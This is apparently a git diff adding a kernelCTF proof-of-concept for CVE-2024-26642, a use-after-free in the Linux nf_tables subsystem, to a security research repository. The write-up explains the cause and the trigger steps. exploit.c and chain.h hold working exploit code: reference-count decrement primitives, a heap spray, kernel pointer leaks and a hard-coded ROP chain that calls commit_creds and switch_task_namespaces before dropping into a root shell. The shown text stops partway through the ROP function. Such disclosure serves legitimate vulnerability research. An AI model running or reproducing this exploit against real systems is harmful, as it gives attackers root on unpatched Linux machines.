diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-26642_lts/docs/exploit.md new file mode 100644 index 00000000..07c71dfa --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/docs/exploit.md @@ -0,0 +1,111 @@ +# Exploit detail about CVE-2024-26642 +If you want to get some base information about CVE-2023-6817, please read [vulnerability.md](./vulnerability.md) first. + +## Background +nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem. + +It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft. + +nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`. + +## Cause anaylysis + +In the function nf_tables_deactivate_set, it does not set "set->dead = 1". This makes it possible to call nft_setelem_data_deactivate with a set element more than once by following this step: + +1. Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS. +2. Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION. +3. Create a chain. +4. Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1. +5. Delete the chain + +After you send these commands in a message list, when you reach step 5 `delete the chain`, the following call chain will occur: +``` +nf_tables_delchain -> nft_delrule -> nft_rule_expr_deactivate -> (expr->ops->deactivate) -> nft_lookup_deactivate -> nf_tables_deactivate_set -> case NFT_TRANS_PREPARE: nft_map_deactivate +``` +`nft_map_deactivate` will eventually call `nft_setelem_data_deactivate` for all set elements in the set. + +But at the same time, after all commands are executed, nftable will also call `nf_tables_commit`, which triggers another call chain: + +``` +nf_tables_commit -> (set->ops->commit) -> nft_pipapo_commit -> pipapo_gc -> nft_pipapo_gc_deactivate -> nft_setelem_data_deactivate +``` + +Finally, `nft_setelem_data_deactivate` will be called for elements which are timed out in the pipapo set, which may result in multiple calls to `nft_setelem_data_deactivate` for the same set element. + +## Triggering the vulnerability + +It's easy to trigger it by following this steps: + +- Create a pipapo set with flag NFT_SET_TIMEOUT and NFT_SET_ANONYMOUS. +- Create a set element of this pipapo set with flag NFTA_SET_ELEM_EXPIRATION. +- Create a chain. +- Create a rule with nft_lookup expr, which will bind the pipapo set we create in step 1. +- Delete the chain + + +## Exploit it +The method of exploiting CVE-2024-26642 is exactly the same as that of exploiting CVE-2023-6817. If you want to learn how I exploit CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md).The only difference is how to construct the two primitives. + +## Primitive +### Primitive_0 +I build a function named as `primitive_0` to change the nft_object->use by triggering the vulnerabiltiy: + +```c +//make target_obj->use = target_obj->use - repeat_time +void primitive_0(struct nl_sock *socket, char *table, char *target_obj, int repeat_time){ + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + int i,j; + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100); + char *key = malloc(0x40); + char *set_name = "set for primitive0"; + char *chain_name = "chain for primitive0"; + msg_list[0] = new_set_pipapo_for_timeout_with_anonymous_msg(table, set_name, NFT_OBJECT_CT_EXPECT); + for(i=0;iuse--" multiple times on the same nft_object, I created multiple set elements using the same nft_object at one time. + +### Primitive_1 +I build a function named as `primitive_1` to change the nft_chain->use by triggering the vulnerabiltiy: + +```c +//make target_chain->use = target_chain->use - repeat_time +void primitive_1(struct nl_sock *socket, char *table, char *target_chain, int repeat_time){ + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + int i,j; + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100); + char *set_name = "set for primitive1"; + char *chain_name = "chain for primitive1"; + char *key = malloc(0x40); + msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, 0x40); + for(i=0;iuse--" multiple times on the same nft_object, I created multiple set elements using the same nft_chain at one time. + + +## Exploit +Because the exploit steps of CVE-2024-26642 is the same as CVE-2023-6817, please read [here](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-6817_lts_cos/docs/exploit.md). \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-26642_lts/docs/vulnerability.md new file mode 100644 index 00000000..c5e9f71f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/docs/vulnerability.md @@ -0,0 +1,25 @@ +# Vulneribility +The function nf_tables_deactivate_set does not set "set->dead = 1". This makes it possible to call `nft_setelem_data_deactivate` with a set element more than once. + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` capability is required. + - Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability + - [commit d60be2da67d172aecf866302c91ea11533eca4d9](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/net/netfilter/nf_tables_api.c?h=linux-6.1.y&id=d60be2da67d172aecf866302c91ea11533eca4d9) + +## Commit which fixed the vulnerability +- [commit 16603605b667b70da974bea8216c93e7db043bf1](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter?id=16603605b667b70da974bea8216c93e7db043bf1) +- [commit 552705a3650bbf46a22b1adedc1b04181490fc36](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=552705a3650bbf46a22b1adedc1b04181490fc36) + +## Affected kernel versions +- 6.1.35 and later +- 5.15.121 and later + +## Affected component, subsystem +- net/netfilter (nf_tables) + +## Cause +- UAF + diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/Makefile b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/Makefile new file mode 100644 index 00000000..e2a6e2ce --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/Makefile @@ -0,0 +1,9 @@ +exploit: + gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static +prerequisites: + sudo apt-get install libnl-nf-3-dev +run: + ./exploit + +clean: + rm exploit diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/README b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/README new file mode 100644 index 00000000..2d5c222c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/README @@ -0,0 +1,2 @@ +Exploit for kctf LTS 6.1.78 +Run command "nsenter --target 1 -m -p" after run the poc. diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/chain.h b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/chain.h new file mode 100644 index 00000000..eec74a11 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/chain.h @@ -0,0 +1,171 @@ +extern int cur_handle; +void new_chain(struct nl_sock * socket, char *table_name, char *chain_name, int if_binding){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + if(if_binding>0){ + nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); + } + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Create chain %s\n",chain_name); + } + cur_handle++; +} + +struct nlmsghdr * new_chain_msg(char *table_name, char *chain_name, int if_binding){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE //NLM_F_ECHO + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + if(if_binding>0){ + nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); + } + cur_handle++; + return hdr2; +} + +void del_chain(struct nl_sock * socket, char *table_name, char *chain_name){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2;//NFPROTO_IPV4; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr2->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + char *buf = malloc(total_size); + memset(buf,0,total_size); + memcpy(buf,hdr1,NLMSG_ALIGN(hdr1->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len),hdr2, NLMSG_ALIGN(hdr2->nlmsg_len)); + memcpy(buf+NLMSG_ALIGN(hdr1->nlmsg_len)+NLMSG_ALIGN(hdr2->nlmsg_len),hdr3,NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + nlmsg_free(msg); + if (res < 0) { + fprintf(stderr, "sending message failed\n"); + } else { + //printf("Delete chain %s\n",chain_name); + } +} + +struct nlmsghdr * del_chain_msg(char *table_name, char *chain_name){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_DELCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/exploit b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/exploit new file mode 100644 index 00000000..bc8def86 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/exploit.c b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/exploit.c new file mode 100644 index 00000000..d2f61c00 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26642_lts/exploit/6.1.78/exploit.c @@ -0,0 +1,508 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "obj.h" +#include "setelem.h" +#include "table.h" +#include "set.h" +#include "chain.h" +#include "rule.h" + + +char *leak_data = NULL; +int table_num = 0; +uint64_t leak_ops = 0, target_heap = 0, kernel_off = 0; +unsigned long user_cs,user_ss,user_rsp,user_rflags; +int cur_handle = 0; +void shell(){ + printf("ret2usr success! uid : %d\n",getuid()); + char *args[] = {"/bin/sh", "-i", NULL}; + execve(args[0], args, NULL); + //while(1); +} + +static void save_state() { + asm( + "movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory"); +} + +void pin_on_cpu(int cpu) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } + usleep(1000); +} + +int setup_sandbox(void) { + if (unshare(CLONE_NEWUSER) < 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + return -1; + } + if (unshare(CLONE_NEWNET) < 0) { + perror("[-] unshare(CLONE_NEWNET)"); + return -1; + } + pin_on_cpu(0); + return 0; +} + + + +void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){ + struct nl_msg * msg = nlmsg_alloc(); + //(NFNL_SUBSYS_IPSET << 8) | (IPSET_CMD_CREATE); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = 2; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST //NLM_F_ECHO + ); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + int i; + for(i=0;inlmsg_len); + } + char *buf = malloc(total_size); + memset(buf, 0, total_size); + memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len)); + char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len); + for(i=0;inlmsg_len)); + off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len); + } + memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + int res = nl_sendto(socket, buf, total_size); + if (res < 0) { + printf("sending message failed\n"); + } +} + +int nl_callback_leak_ops(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_SET_MAX+1]; + memset(tb_msg, 0, NFTA_SET_MAX * 8); + //printf("Get message back!\n"); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //printf("Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL); + char * table_name=NULL; + char * set_name=NULL; + if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){ + struct nlattr * tb_msg2[NFTA_SET_MAX+1]; + memset(tb_msg2, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL); + + struct nlattr * tb_msg3[NFTA_SET_MAX+1]; + memset(tb_msg3, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL); + char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF])); + nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_OBJREF], nla_len(tb_msg3[NFTA_SET_ELEM_OBJREF])); + printf("Get ops : %llx\n", *(uint64_t *)val); + leak_ops = *(uint64_t *)val; + } + else + printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n"); + return NL_OK; +} + +int nl_callback_find_target_setelem(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_SET_MAX+1]; + memset(tb_msg, 0, NFTA_SET_MAX * 8); + //printf("Get message back!\n"); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + //printf("Received NLMSG_ERROR message!\n"); + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_SET_MAX, attr, attrlen, NULL); + char * table_name=NULL; + char * set_name=NULL; + + if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){ + struct nlattr * tb_msg2[NFTA_SET_MAX+1]; + memset(tb_msg2, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg2, NFTA_SET_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL); + + struct nlattr * tb_msg3[NFTA_SET_MAX+1]; + memset(tb_msg3, 0, NFTA_SET_MAX * 8); + nla_parse_nested(tb_msg3, NFTA_SET_MAX, tb_msg2[1],NULL); + char *val = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_KEY])); + nla_memcpy(val, tb_msg3[NFTA_SET_ELEM_KEY], nla_len(tb_msg3[NFTA_SET_ELEM_KEY])); + //printf("Get key : %llx\n", *(uint64_t *)(val+4)); + uint32_t udata_len = nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA]); + if(udata_len != 0xa1) + printf("udata len : %d\n",udata_len); + if(udata_len > 0xb0){ + //get leak + printf("udata len : %d\n",udata_len); + leak_data = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + memset(leak_data,0,nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + nla_memcpy(leak_data, tb_msg3[NFTA_SET_ELEM_USERDATA], nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + printf("Target key : %llx\n",*(uint64_t *)(val+4)); + } + } + else + printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n"); + return NL_OK; +} + +/* + Spray the heap through the udata of nft_table. In nftables, when creating a table, + you can let the kernel malloc and fill any size of heap memory by using NFTA_TABLE_USERDATA + (the corresponding code is in the function nf_tables_newtable). +*/ + +void spray_tables(struct nl_sock * socket, int len, char *udata, int size){ + char *tmp = malloc(0x100); + memset(tmp,0,0x100); + int i; + for(i=0;iuse = target_obj->use - repeat_time + +void primitive_0(struct nl_sock *socket, char *table, char *target_obj, int repeat_time){ + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + int i,j; + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100); + char *key = malloc(0x40); + char *set_name = "set for primitive0"; + char *chain_name = "chain for primitive0"; + msg_list[0] = new_set_pipapo_for_timeout_with_anonymous_msg(table, set_name, NFT_OBJECT_CT_EXPECT); + for(i=0;iuse = target_chain->use - repeat_time + +void primitive_1(struct nl_sock *socket, char *table, char *target_chain, int repeat_time){ + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + int i,j; + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*0x100); + char *set_name = "set for primitive1"; + char *chain_name = "chain for primitive1"; + char *key = malloc(0x40); + msg_list[0] = new_set_pipapo_for_timeout_and_chain_with_anonymous_msg(table, set_name, 0x40); + for(i=0;iuse = 0xa5 + + for(i=0;i<0xa4;i++){ + memset(key,i,0x40); + memset(key_end,i,0x40); + new_setelem(socket, table, pipapo_set, pad, 0x100, target_obj, key, 0x40, key_end, 0x40, 0); + } + hash_key = 0xdeadbeef; + new_setelem(socket, table, hash_set_2, pad, 0x100, target_obj, &hash_key, 8, NULL, 0, 0); + //step 3 + //make target_obj->use = 0xa5 - 0xa5 = 0 + primitive_0(socket, table, target_obj, 0xa5); + //sleep(1); + //step 4 + //delete target obj + del_obj(socket, table, target_obj, NFT_OBJECT_CT_EXPECT); + //sleep(0.1); + //step 5 + //get heap back + for(i=0;i<0x800;i++){ + //printf("%d\n",i); + *(uint64_t *)pad = i; + hash_key = i; + new_setelem_with_elemdata(socket, table, hash_set, pad, 0xa1, &hash_key, 8, NULL, 0,0); + } + //step 6 + //make setelem->udata_len = 0xfc + elem_flush(socket, table, pipapo_set); + //sleep(1); + //step 7 Get leak data + + struct nl_sock * socket2 = nl_socket_alloc(); + if(nfnl_connect(socket2)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + //function nl_callback_find_target_setelem will be called once we call nl_recvmsgs_default + //check the api documents and the source code for details: + //nl_socket_modify_cb: https://www.infradead.org/~tgr/libnl/doc/api/group__socket.html#gaeee66d6edef118209c7e7f1e3d393448 + //nl_recvmsgs_default: https://www.infradead.org/~tgr/libnl/doc/api/group__send__recv.html#ga49b150fbb38a00444d5f6e323f05a2a1 + nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL); + for(i=0;i<0x800;i++){ + hash_key = i; + get_setelem(socket2, table, hash_set, &hash_key, 8); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + } + if(leak_data==NULL) + return -1; + uint64_t obj_a = *(uint64_t *)&leak_data[0xcb]; + uint64_t obj_b = *(uint64_t *)&leak_data[0xcb+8]; + printf("leak obj A heap : %llx\n",obj_a); + printf("leak obj B heap : %llx\n",obj_b); + + //step 8 Delete all the set elements created in step 5 + elem_flush(socket, table, hash_set); + sleep(0.1); + + //step 9 Spray heap + *(uint64_t *)&pad[0x20] = obj_a + 0x80; + spray_tables(socket,0x400, pad, 0xcc); + printf("spray finish\n"); + hash_key = 0xdeadbeef; + //function nl_callback_leak_ops will be called once we call nl_recvmsgs_default + //check the api documents and the source code for details: + //nl_socket_modify_cb: https://www.infradead.org/~tgr/libnl/doc/api/group__socket.html#gaeee66d6edef118209c7e7f1e3d393448 + //nl_recvmsgs_default: https://www.infradead.org/~tgr/libnl/doc/api/group__send__recv.html#ga49b150fbb38a00444d5f6e323f05a2a1 + //step 10 + nl_socket_modify_cb(socket2,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_leak_ops, NULL); + get_setelem(socket2, table, hash_set_2, &hash_key,8); + nl_recvmsgs_default(socket2); + nl_recvmsgs_default(socket2); + printf("Leak end.\n"); + printf("Start preparing ROP gadget in heap.\n"); + kernel_off = leak_ops - 0xFFFFFFFF82B2AFA0; + char *ops = malloc(0x100); + //ops->dump + *(uint64_t *)&ops[0x40] = kernel_off + 0xffffffff81fa7c53;//leave ; ret + //ops->type + *(uint64_t *)&ops[0x78] = kernel_off + 0xFFFFFFFF83B69A00;//last type + *(uint64_t *)&ops[0x08] = kernel_off + 0xFFFFFFFF819C7D5D;//pop rdi; ret + *(uint64_t *)&ops[0x10] = kernel_off + 0xFFFFFFFF838768E0;//init_cred + *(uint64_t *)&ops[0x18] = kernel_off + 0xFFFFFFFF811BD090;//commit_creds; + *(uint64_t *)&ops[0x20] = kernel_off + 0xffffffff8111315f;//pop rdi ; pop r14 ; pop r13 ; pop r12 ; pop rbp ; pop rbx ; ret + *(uint64_t *)&ops[0x28] = 1; + *(uint64_t *)&ops[0x58] = kernel_off + 0xFFFFFFFF811B3A60;//find_task_by_vpid + *(uint64_t *)&ops[0x60] = kernel_off + 0xffffffff810d5541;//mov rdi, rax ; mov eax, ebx ; pop rbx ; or rax, rdi ; ret + *(uint64_t *)&ops[0x68] = 0; + *(uint64_t *)&ops[0x70] = kernel_off + 0xFFFFFFFF81113167;//pop rbx ; ret ; because ops->0x78 is the last_type + *(uint64_t *)&ops[0x80] = kernel_off + 0xffffffff8102e2a6;//pop rsi ; ret + *(uint64_t *)&ops[0x88] = kernel_off + 0xFFFFFFFF838766A0;//init_nsproxy + *(uint64_t *)&ops[0x90] = kernel_off + 0xFFFFFFFF811BB4F0;//switch_task_namespaces + *(uint64_t *)&ops[0x98] = kernel_off + 0xffffffff8218de86;//swapgs; ret + *(uint64_t *)&ops[0xa0] = kernel_off + 0xFFFFFFFF822011D7;//iretq + *(uint64_t *)&ops[0xa8] = (uint64_t)shell; + *(uint64_t *)&ops[0xb0] = user_cs; + *(uint64_t *)&ops[0xb8] = user_rflags; + *(uint64_t *)&ops[0xc0] = user_rsp;//|8; + *(uint64_t *)&ops[0xc8] = user_ss; + //step 11 + //free the last object. + for(i=0;i<0x100;i++){ + if(i==0x80) + continue; + snprintf(obj_name,0x40,"obj_for_leak_%d",i); + del_obj(socket, table, obj_name, NFT_OBJECT_CT_EXPECT); + } + //heap spray to fill target heap + sleep(0.1); + spray_tables(socket,0x800, ops, 0xe8); + printf("Finish prepare.\n"); + target_heap = obj_a; +} + + +void jmp_rop(struct nl_sock * socket){ + char *pipapo_set = "set pipapo for rop"; + char *hash_set_for_expr = "set hashtable for expr"; + char *table = "table for rop"; + char *target_chain = "chain for rop"; + int i; + printf("start rop\n"); + new_table(socket, table); + cur_handle = 0; + new_chain(socket, table, target_chain, 0); + + new_set_pipapo_for_chain(socket, table, pipapo_set, 0x40); + new_set_hashtable_with_elemdata(socket, table, hash_set_for_expr, 0x30, 0x10); + nl_socket_modify_cb(socket,NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_find_target_setelem, NULL); + + //step 1 + //create some elements to make chain->use = 0x20 + + char *pad = malloc(0x100); + memset(pad,0x41,0x100); + char *key = malloc(0x40); + char *key_end = malloc(0x40); + char *hash_key_48 = malloc(48); + memset(hash_key_48, 0, 48); + + for(i=0;i<0x20;i++){ + 